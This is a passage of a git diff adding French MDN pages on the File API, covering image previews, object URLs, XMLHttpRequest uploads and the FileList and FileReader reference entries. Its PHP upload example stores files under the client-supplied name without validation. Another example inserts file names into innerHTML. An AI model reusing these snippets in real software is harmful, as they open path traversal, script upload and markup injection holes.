+<p>Admettons que vous développiez actuellement le prochain site génial de partage de photos, et que vous souhaitiez utiliser HTML5 pour afficher une prévisualisation miniature des images avant que l'utilisateur ne les télécharge vraiment sur le serveur. Vous pouvez définir votre élément <code>input</code> ou votre zone de dépôt comme étudié précédemment et les faire appeler une fonction telle que la fonction <code>handleFiles()</code> montrée ci-dessous :</p>
+
+<pre class="brush: js">function handleFiles(files) {
+  for (var i = 0; i &lt; files.length; i++) {
+    var file = files[i];
+    var imageType = /^image\//;
+
+    if (!imageType.test(file.type)) {
+      continue;
+    }
+
+    var img = document.createElement("img");
+    img.classList.add("obj");
+    img.file = file;
+    preview.appendChild(img); // En admettant que "preview" est l'élément div qui contiendra le contenu affiché.
+
+    var reader = new FileReader();
+    reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+    reader.readAsDataURL(file);
+  }
+}
+</pre>
+
+<p>La boucle qui manipule dans notre cas les fichiers sélectionnés par l'utilisateur examine l'attribut type de chaque fichier et contrôle qu'il s'agit bien d'une image (en utilisant une expression régulière pour vérifier la correspondance du type MIME avec la chaîne "<code>image/*</code>"). Nous créons un nouvel élément img pour chaque fichier image. Vous pouvez utiliser du CSS pour définir d'agréables bordures ou effets d'ombres ou encore pour préciser la taille de l'image [de l'élément <code>img</code>, NDT], même si cela n'est pas nécessaire ici.</p>
+
+<p>La classe CSS ob<code>j</code> est ajoutée à chaque élément image afin de faciliter sa recherche dans l'arbre du DOM, ainsi qu'un attribut <code>file</code> spécifiant le {{ domxref("File") }} correspondant et qui nous permettra de récupérer les fichiers images lors du téléchargement effectif vers le serveur. Nous utilisons {{ domxref("Node.appendChild()") }} pour ajouter la nouvelle miniature à la zone de prévisualisation de notre document.</p>
+
+<p>Nous définissons ensuite le {{ domxref("FileReader") }} qui gérera le chargement asynchrone de l'image et son lien à l'élément <code>img</code>. Après avoir créé le nouvel objet <code>FileReader</code>, nous définissons sa fonction <code>onload</code> pouis nous appelons <code>readAsDataURL()</code> pour démarrer l'opération de lecture en tâche de fond. Lorsque le chargement du fichier image est complètement terminé, son contenu est converti en <code>data</code> : c'est l'URL transmise à la fonction de rappel <code>onload</code>. Notre implémentation de cette procédure définit l'image chargée comme valeur de l'attribut <code>src</code> de l'élement <code>img</code>, faisant ainsi apparaître l'image dans la miniature à l'écran.</p>
+
+<h2 id="Utiliser_un_objet_URLs">Utiliser un objet URLs</h2>
+
+<p>Gecko 2.0 {{ geckoRelease("2.0") }} introduit la prise en charge des méthodes du DOM {{ domxref("window.URL.createObjectURL()") }} et {{ domxref("window.URL.revokeObjectURL()") }}. Elles vous permettent de créer des chaînes d'URL simples qui peuvent être utilisées pour repérer n'importe quelle donnée pouvant être référencée à l'aide d'un objet DOM {{ domxref("File") }}, y compris des fichiers locaux sur l'ordinateur de l'utilisateur.</p>
+
+<p>Vous pouvez procéder ainsi pour créer un objet URL lorsque vous souhaitez référencer un objet {{ domxref("File") }} par URL depuis HTML :</p>
+
+<pre class="brush: js"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre>
+
+<p>L'objet URL est une chaîne identifiant l'objet {{ domxref("File") }}. Un objet URL unique est créé à chaque fois que vous appelez {{ domxref("window.URL.createObjectURL()") }}, même si vous avez déjà créé un objet URL pour ce fichier. Chacun d'eux doit être libéré ; bien qu'ils soient automatiquement libérés lorsque le document est déchargé, vous devez explicitement les libérer en appelant {{ domxref("window.URL.revokeObjectURL()") }}  si votre page les utilise de manière dynamique :</p>
+
+<pre class="brush: js"><code>window.URL.revokeObjectURL(objectURL);</code></pre>
+
+<h2 id="Exemple_Utilisation_de_l'objet_URLs_pour_afficher_des_images">Exemple : Utilisation de l'objet URLs pour afficher des images</h2>
+
+<p>Cet exemple utilise des objets URLs pour afficher des vignettes d'image. Il affiche en outre d'autres informations, dont leurs noms et leurs tailles.</p>
+
+<p>Le code HTML qui présente l'interface ressemble à ceci:</p>
+
+<pre class="brush: html"><code>&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Sélectionnez des fichiers&lt;/a&gt;
+&lt;div id="fileList"&gt;
+  &lt;p&gt;Aucun fichier sélectionné !&lt;/p&gt;
+&lt;/div&gt;</code></pre>
+
+<p>Ce code définit notre élément fichier {{ HTMLElement("input") }}, ainsi qu'un lien qui appelle le sélecteur de fichiers (l'élément <code>input</code> étant masqué pour éviter l'affichage de la si peu séduisante interface utilisateur). Vous pouvez vous reporter à la section {{ anch("Using hidden file input elements using the click() method") }} pour des explications détaillées sur cette partie de code ainsi que sur la méthode appelant le sélecteur de fichiers.</p>
+
+<p>Voici la méthode <code>handleFiles()</code> :</p>
+
+<pre class="brush: js"><code>window.URL = window.URL || window.webkitURL;
+
+var fileSelect = document.getElementById("fileSelect"),
+    fileElem = document.getElementById("fileElem"),
+    fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // empêche la navigation vers "#"
+}, false);
+
+function handleFiles(files) {
+  if (!files.length) {
+    fileList.innerHTML = "&lt;p&gt;Aucun fichier sélectionné !&lt;/p&gt;";
+  } else {
+    fileList.innerHTML = "";
+    var list = document.createElement("ul");
+    fileList.appendChild(list);
+    for (var i = 0; i &lt; files.length; i++) {
+      var li = document.createElement("li");
+      list.appendChild(li);
+
+      var img = document.createElement("img");
+      img.src = window.URL.createObjectURL(files[i]);
+      img.height = 60;
+      img.onload = function() {
+        window.URL.revokeObjectURL(this.src);
+      }
+      li.appendChild(img);
+      var info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+  }
+}</code></pre>
+
+<p>Nous commençons par la recherche de l'URL du {{ HTMLElement("div") }} dont l'ID est <code>fileList</code>, qui est le bloc dans lequel nous inérerons notre liste de fichiers, ainsi que les miniatures..</p>
+
+<p>Si l'objet {{ domxref("FileList") }} passé à <code>handleFiles()</code> est <code>null</code>, nous définissons simplement le contenu HTML du bloc pour pour afficher "Aucun fichier sélectionné ! ". Nous commençons dans le cas contraire à construire notre liste de fichiers, comme ceci :</p>
+
+<ol>
+ <li>Une nouvelle liste non ordonnée ({{ HTMLElement("ul") }}) est créée.</li>
+ <li>L'élement de la liste nouvellement créée est ajoutée dans le bloc {{ HTMLElement("div") }} en appelant sa méthode {{ domxref("Node.appendChild()") }}.</li>
+ <li>Pour chaque {{ domxref("File") }} dans le {{ domxref("FileList") }} représenté par <code>files</code> :
+  <ol>
+   <li>Création et ajout à la liste d'un nouvel élément de liste {{ HTMLElement("li") }}.</li>
+   <li>Création d'un nouvel élément image {{ HTMLElement("img") }}.</li>
+   <li>Définition d'un nouvel objet URL représentant le fichier comme source de l'image, en utilisant {{ domxref("window.URL.createObjectURL()") }} pour la création de l'URL du Blob.</li>
+   <li>Définition de la hauteur de l'image à 60 pixels.</li>
+   <li>Définition du gestionnaire pour l'événement <code>load</code> de l'image afin de libérer l'objet URL, devenu inutile une fois l'image chargée. La libération est effectuée en appelant la méthode {{ domxref("window.URL.revokeObjectURL()") }} avec en paramètre la chaîne de l'objet URL de l'attribut <code>img.src</code>.</li>
+   <li>Ajout du nouvel élément à la liste.</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Exemple_Télécharger_sur_le_serveur_un_fichier_sélectionné_par_l'utilisateur">Exemple : Télécharger sur le serveur un fichier sélectionné par l'utilisateur</h2>
+
+<p>Vous pourriez en outre vouloir autoriser l'utilisateur à télécharger sur un serveur (<em>upload</em>) un ou plusieurs fichiers sélectionnés (tels que les images sélectionnées en suivant l'exemple précedent). Cette opération peut être très facilement effectuée de manière asynchrone.</p>
+
+<h3 id="Créer_les_tâches_de_téléchargement">Créer les tâches de téléchargement</h3>
+
+<p>En poursuivant avec le code générant des miniatures de l'exemple précédent, rappelez-vous que chaque image de miniature s'est vue ajouter la classe CSS <code>obj</code>, ainsi que le {{ domxref("File") }} correspondant stocké dans l'attribut <code>file</code>. Cela nous permet de sélectionner très facilement toutes les images choisies par l'utilisateur pour le téléchargement à l'aide de {{ domxref("Document.querySelectorAll()") }}, comme cela :</p>
+
+<pre class="brush: js">function sendFiles() {
+  var imgs = document.querySelectorAll(".obj");
+
+  for (var i = 0; i &lt; imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+</pre>
+
+<p>La ligne 2 crée un tableau, nommé <code>imgs</code>, de tous les éléments de la classe CSS <code>obj</code> dans le document ; s'agit dans notre cas de toutes les miniatures d'images. Une fois la liste établie, c'est un jeu d'enfant de la parcourir et de créer une nouvelle instance de <code>FileUpload</code> pour chacun de ses éléments. Chacune de ces instances gère le téléchargement du fichier correspondant vers le serveur.</p>
+
+<h3 id="Manipuler_le_processus_de_téléchargement_pour_un_fichier">Manipuler le processus de téléchargement pour un fichier</h3>
+
+<p>La fonction <code>FileUpload</code> accepte deux arguments : un élement image et un fichier à partir duquel les données de l'image sont lues.</p>
+
+<pre class="brush: js">function FileUpload(img, file) {
+  var reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  var xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  var self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          var percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          var canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.sendAsBinary(evt.target.result);
+  };
+  reader.readAsBinaryString(file);
+}
+</pre>
+
+<p>La fonction <code>FileUpload()</code> montrée ci-dessus crée un indicateur d'activité (<em>throbber</em>) pour l'affichage de la progression, ainsi qu'un {{ domxref("XMLHttpRequest") }} pour gérer le téléchargement des données.</p>
+
+<p>Il est nécessaire de prévoir quelques étapes préparatoires avant le téléchargement effectif des données :</p>
+
+<ol>
+ <li>Le processus d'écoute de l'événement <code>progress</code> du XMLHttpRequest est écrit de telle façon que l'indicateur d'activité affiche l'information de progression du téléchargement la plus récente. </li>
+ <li>Le gestionnaire de l'événement <code>load</code> du XMLHttpRequest est écrit pour que l'indicateur d'activité affiche 100% afin d'être sûr atteigne effectivement les 100%, même en cas granularité anormale lors du processus. Le gestionnaire supprime ensuite l'indicateur devenu inutile, entraînant sa disparition à la fin normale du téléchargement.</li>
+ <li>La requête de téléchargement de l'image est ouverte par l'appel à la méthode <code>open()</code> du XMLHttpRequest, démarrant la création d'une requête POST.</li>
+ <li>Le type MIME pour le téléchargement est défini en appelant la fonction <code>overrideMimeType()</code> du <code>XMLHttpRequest</code>. Nous utilisons ici un type MIME générique ; vous pouvez selon les cas définir ou ne définir aucun type MIME.</li>
+ <li>L'objet <code>FileReader</code> est utilisé pour la conversion du fichier en chaîne binaire.</li>
+ <li>La fonction <code>send()</code> du  XMLHttpRequest est appelée en dernier pour télécharger le contenu du fichier complètement chargé.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note :</strong> la méthode non standard <code>sendAsBinary</code> utilisée dans l'exemple ci-dessus est obsolète depuis Gecko 31 {{ geckoRelease(31) }} ; utilisez plutôt la méthode standard <code>send(Blob data)</code>. </p>
+</div>
+
+<h3 id="Gérer_le_processus_de_téléchargement_d'un_fichier_de_manière_asynchrone">Gérer le processus de téléchargement d'un fichier de manière asynchrone</h3>
+
+<pre class="brush: html">&lt;?php
+if (isset($_FILES['myFile'])) {
+    // Exemple:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?&gt;
+&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;title&gt;dnd binary upload&lt;/title&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
+    &lt;script type="text/javascript"&gt;
+        function sendFile(file) {
+            var uri = "/index.php";
+            var xhr = new XMLHttpRequest();
+            var fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 &amp;&amp; xhr.status == 200) {
+                    // Handle response.
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            var dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                var filesArray = event.dataTransfer.files;
+                for (var i=0; i&lt;filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+         }
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div&gt;
+        &lt;div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;"&gt;Drag &amp; drop your file here...&lt;/div&gt;
+    &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Exemple_Utiliser_un_objet_URLs_pour_afficher_un_PDF">Exemple : Utiliser un objet URLs pour afficher un PDF</h2>
+
+<p>Vous pouvez utiliser un objet URLs pour d'autres choses que les images ! Ils peuvent être utilisés pour afficher des fichiers PDF incorporés ou toutes autres ressources affichables par le navigateur.</p>
+
+<p>Sous Firefox, la constante de configuration <code>pdfjs.disabled</code> doit être définie à <code>false</code> {{non-standard_inline()}} pour afficher les PDF encapsulés dans dans un {{ HTMLElement("iframe") }} plutôt que de s'en voir proposer le téléchargement sur le PC local.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>iframe</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>viewer<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Et voici comment modifier la valeur de l'attribut <code>src</code> :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> obj_url <span class="operator token">=</span> window<span class="punctuation token">.</span>URL<span class="punctuation token">.</span><span class="function token">createObjectURL</span><span class="punctuation token">(</span>blob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> iframe <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'viewer'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+iframe<span class="punctuation token">.</span><span class="function token">setAttribute</span><span class="punctuation token">(</span><span class="string token">'src'</span><span class="punctuation token">,</span> obj_url<span class="punctuation token">)</span><span class="punctuation token">;</span>
+window<span class="punctuation token">.</span>URL<span class="punctuation token">.</span><span class="function token">revokeObjectURL</span><span class="punctuation token">(</span>obj_url<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Exemple_Utiliser_un_objet_URLs_avec_d'autres_types_de_fichiers">Exemple : Utiliser un objet URLs avec d'autres types de fichiers</h2>
+
+<p>Vous pouvez manipuler de la même façon des fichiers d'autres formats. Voici comment prévisualiser une vidéo téléchargée sur le serveur :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> video <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'video'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> obj_url <span class="operator token">=</span> window<span class="punctuation token">.</span>URL<span class="punctuation token">.</span><span class="function token">createObjectURL</span><span class="punctuation token">(</span>blob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+video<span class="punctuation token">.</span>src <span class="operator token">=</span> obj_url<span class="punctuation token">;</span>
+video<span class="punctuation token">.</span><span class="function token">play</span><span class="punctuation token">(</span><span class="punctuation token">)</span>
+window<span class="punctuation token">.</span>URL<span class="punctuation token">.</span><span class="function token">revokeObjectURL</span><span class="punctuation token">(</span>obj_url<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#file-upload-state-%28type=file%29" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (HTML 5 working draft)</li>
+ <li><a href="http://www.w3.org/TR/FileAPI/" title="http://www.w3.org/TR/FileAPI/">File API</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("File") }}</li>
+ <li>{{ domxref("FileList") }}</li>
+ <li>{{ domxref("FileReader") }}</li>
+ <li><a href="/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a></li>
+ <li>{{ domxref("XMLHttpRequest") }}</li>
+ <li><a class="external" href="http://www.jquery.com/" title="http://www.jquery.com/">jQuery</a> JavaScript library</li>
+</ul>
diff --git a/files/fr/web/api/filelist/index.html b/files/fr/web/api/filelist/index.html
new file mode 100644
index 0000000000..286acf16bc
--- /dev/null
+++ b/files/fr/web/api/filelist/index.html
@@ -0,0 +1,152 @@
+---
+title: FileList
+slug: Web/API/FileList
+tags:
+  - API
+  - File API
+  - Files
+translation_of: Web/API/FileList
+---
+<div>{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}</div>
+
+<p>Un objet <strong><code>FileList</code></strong> est renvoyé par la propriété <code>files</code> d'un élément HTML {{HTMLElement("input")}}. Il permet d'accéder à la liste des fichiers sélectionnés via l'élément <code>&lt;input type="file"&gt;</code>. Cet objet peut également être utilisé pour les fichiers glissés-déposés dans du contenu web via l'<a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">API Drag &amp; Drop</a> (voir l'objet <a href="/fr/docs/Web/API/DataTransfer" title="DragDrop/DataTransfer"><code>DataTransfer</code></a> pour plus de détails).</p>
+
+<h2 id="Utiliser_une_liste_de_fichiers">Utiliser une liste de fichiers</h2>
+
+<p>Tous les éléments <code>&lt;input&gt;</code> possèdent un attribut <code>files</code> de type <code>FileList</code> qui permet d'accéder aux éléments de cette liste. Ainsi, si le code HTML utilisé est :</p>
+
+<pre>&lt;input id="fileItem" type="file"&gt;
+</pre>
+
+<p>On pourra utiliser la ligne suivant pour récupérer le premier fichier de la liste sous la forme d'un objet <a href="/fr/docs/Web/API/File" title="DOM/File"><code>File</code></a> :</p>
+
+<pre class="brush: js">var file = document.getElementById('fileItem').files[0]</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribut</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>length</code></td>
+   <td><code>integer</code></td>
+   <td>Une valeur en lecture seule qui indique le nombre de fichier dans la liste.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="item()"><code>item()</code></h3>
+
+<p>Cette méthode renvoie un objet <a href="/fr/docs/Web/API/File" title="DOM/File"><code>File</code></a> qui représente le fichier à l'indice fourni.</p>
+
+<pre> File item(
+   index
+ );
+</pre>
+
+<h4 id="Paramètres">Paramètres</h4>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>Un indice (commençant à partir de zéro) indiquant le fichier qu'on souhaite récupérer de la liste.</dd>
+</dl>
+
+<h4 id="Valeur_de_retour">Valeur de retour</h4>
+
+<p>L'objet <a href="/fr/docs/Web/API/File" title="DOM/File"><code>File</code></a> qui représente le fichier demandé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on parcourt l'ensemble des fichiers sélectionnés par l'utilisateur via un élément {{HTMLElement("input")}} :</p>
+
+<pre class="brush:js">// fileInput est un élément HTML input : &lt;input type="file" id="myfileinput" multiple&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files est un objet FileList (semblable à NodeList)
+var files = fileInput.files;
+var file;
+
+// on parcourt les fichiers
+for (var i = 0; i &lt; files.length; i++) {
+    // on récupère le i-ème fichier
+    file = files.item(i);
+    // ou encore
+    file = files[i];
+    console.log(file.name);
+}
+</pre>
+
+<h3 id="Exemple_complet">Exemple complet</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input id="myfiles" multiple type="file"&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var recupererFichiers = function() {
+  var fichiersInput = document.querySelector("#myFiles");
+  var fichiers = fichiersInput.files;
+
+  var nbFichiers = fichiers.length;
+  var i = 0;
+  while(i &lt; nbFichiers){
+    var fichier = fichiers[i];
+    console.log(fichier.name);
+    i++;
+  }
+}
+
+// On invoque cette fonction pour chaque modification apportée à l'élément
+// input
+document.querySelector("#myFiles").onchange = recupererFichiers;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_complet")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API', '#filelist-section', 'FileList')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#concept-input-type-file-selected', 'selected files')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.FileList")}}</p>
+
+
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/File/Using_files_from_web_applications" title="Using files from web applications">Utiliser des fichiers dans des applications web</a></li>
+ <li><code><a href="/fr/docs/Web/API/File" title="DOM/File">File</a></code></li>
+ <li><code><a href="/fr/docs/Web/API/FileReader" title="DOM/FileReader">FileReader</a></code></li>
+</ul>
diff --git a/files/fr/web/api/filereader/filereader/index.html b/files/fr/web/api/filereader/filereader/index.html
new file mode 100644
index 0000000000..53c3cedb1e
--- /dev/null
+++ b/files/fr/web/api/filereader/filereader/index.html
@@ -0,0 +1,59 @@
+---
+title: FileReader()
+slug: Web/API/FileReader/FileReader
+tags:
+  - API
+  - Constructeur
+  - FileReader
+  - Reference
+translation_of: Web/API/FileReader/FileReader
+---
+<p><strong><code>FileReader()</code></strong>  est un constructeur qui permet de créer un nouvel objet FileReader.</p>
+
+<p>Pour plus de details à propos de <code>FileReader</code>, visiter <a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Using files from web applications</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var reader = new FileReader();</pre>
+
+<h3 id="Paramèteres">Paramèteres</h3>
+
+<p>Aucun.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code ci-dessous montre la création d'un objet <code><a href="/en-US/docs/Web/API/FileReader">FileReader</a></code> en utilisant le constructeur <code>FileReader()</code>  ainsi qu'une utilisation subséquente de cet objet:</p>
+
+<pre class="brush: js">function printFile(file) {
+  var reader = new FileReader();
+  reader.onload = function(evt) {
+    console.log(evt.target.result);
+  };
+  reader.readAsText(file);
+}
+</pre>
+
+<h2 id="Caractéristiques">Caractéristiques</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Caractéristique</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Définition Initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Using files from web applications</a></li>
+</ul>
diff --git a/files/fr/web/api/filereader/index.html b/files/fr/web/api/filereader/index.html
new file mode 100644
index 0000000000..15696cfe7a
--- /dev/null
+++ b/files/fr/web/api/filereader/index.html
@@ -0,0 +1,196 @@
+---
+title: FileReader
+slug: Web/API/FileReader
+tags:
+  - API
+  - File
+  - Interface
+  - Référence(2)
+translation_of: Web/API/FileReader
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>L'objet <strong><code>FileReader</code></strong> permet à des applications web de lire le contenu de fichiers (ou de tampons de mémoire brute) de façon asynchrone. On peut ainsi lire le contenu des objets {{domxref("File")}} ou {{domxref("Blob")}} (qui représentent respectivement un fichier ou des données).</p>
+
+<p>Les objets qui sont des fichiers peuvent être obtenus à partir d'un objet {{domxref("FileList")}}, renvoyé lorsque l'utilisateur sélectionne des fichiers grâce à un élément {{HTMLElement("input")}}, via un glisser-déposer avec un objet <a href="/fr/docs/Web/API/DataTransfer"><code>DataTransfer</code></a> ou grâce à l'API <code>mozGetAsFile()</code> API de {{domxref("HTMLCanvasElement")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.FileReader", "FileReader()")}}</dt>
+ <dd>Ce constructeur renvoie un nouvel objet <code>FileReader</code>.</dd>
+</dl>
+
+<p>Pour plus d'informations et d'exemples, consulter <a href="/fr/docs/Using_files_from_web_applications">utiliser des fichiers depuis des applications web</a>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt>
+ <dd>Un objet {{domxref("DOMError")}} qui représente l'erreur qui s'est produite lors de la lecture du fichier.</dd>
+ <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt>
+ <dd>Un nombre qui indique l'état du <code>FileReader</code>. Cette valeur est l'une des suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>EMPTY</code></td>
+    <td><code>0</code></td>
+    <td>Aucune donnée n'a encore été chargée.</td>
+   </tr>
+   <tr>
+    <td><code>LOADING</code></td>
+    <td><code>1</code></td>
+    <td>Des données sont en cours de chargement.</td>
+   </tr>
+   <tr>
+    <td><code>DONE</code></td>
+    <td><code>2</code></td>
+    <td>La demande de lecture est complètement terminée.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt>
+ <dd>Le contenu du fichier. Cette propriété est uniquement valide lorsque l'opération de lecture est terminée et le format des données dépend de la méthode utilisée pour l'opération de lecture.</dd>
+</dl>
+
+<h3 id="Gestionnaire_d'évènements">Gestionnaire d'évènements</h3>
+
+<dl>
+ <dt>{{domxref("FileReader.onabort")}}</dt>
+ <dd>Un gestionnaire pour l'évènement {{event("abort")}}. Cet évènement est déclenché à chaque fois que l'opération de lecture est interrompue.</dd>
+ <dt>{{domxref("FileReader.onerror")}}</dt>
+ <dd>Un gestionnaire pour l'évènement {{event("error")}}. Cet évènement est déclenché à chaque fois qu'il y a une erreur pendant l'opération de lecture.</dd>
+ <dt>{{domxref("FileReader.onload")}}</dt>
+ <dd>Un gestionnaire pour l'évènement {{event("load")}}. Cet évènement est déclenché à chaque fois qu'une opération de lecture est menée à bien.</dd>
+ <dt>{{domxref("FileReader.onloadstart")}}</dt>
+ <dd>Un gestionnaire pour l'évènement {{event("loadstart")}}. Cet évènement est déclenché chaque fois qu'une opération de lecture commence.</dd>
+ <dt>{{domxref("FileReader.onloadend")}}</dt>
+ <dd>Un gestionnaire pour l'évènement {{event("loadend")}}. Cet évènement est déclenché chaque fois qu'une opération de lecture est terminée (que ce soit un succès ou un échec).</dd>
+ <dt>{{domxref("FileReader.onprogress")}}</dt>
+ <dd>Un gestionnaire pour l'évènement {{event("progress")}}. Cet évènement est déclenché lorsque la lecture du {{domxref("Blob")}} est en cours.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> <code>FileReader</code> hérite de l'interface {{domxref("EventTarget")}} et tout ces évènements peuvent donc être « écoutés » grâce à la méthode {{domxref("EventTarget.addEventListener()","addEventListener")}}.</p>
+</div>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.abort()")}}</dt>
+ <dd>Cette méthode interrompt l'opération de lecture. Après avoir renvoyé une valeur, l'état <code>readyState</code> aura la valeur <code>DONE</code>.</dd>
+ <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{gecko_minversion_inline("7.0")}}</dt>
+ <dd>Cette méthode démarre la lecture du contenu pour le blob indiqué. Une fois que la lecture est terminée, l'attribut <code>result</code> contient un objet {{domxref("ArrayBuffer")}} représentant les données du fichier.</dd>
+ <dt>{{domxref("FileReader.readAsBinaryString()")}} {{non-standard_inline}}</dt>
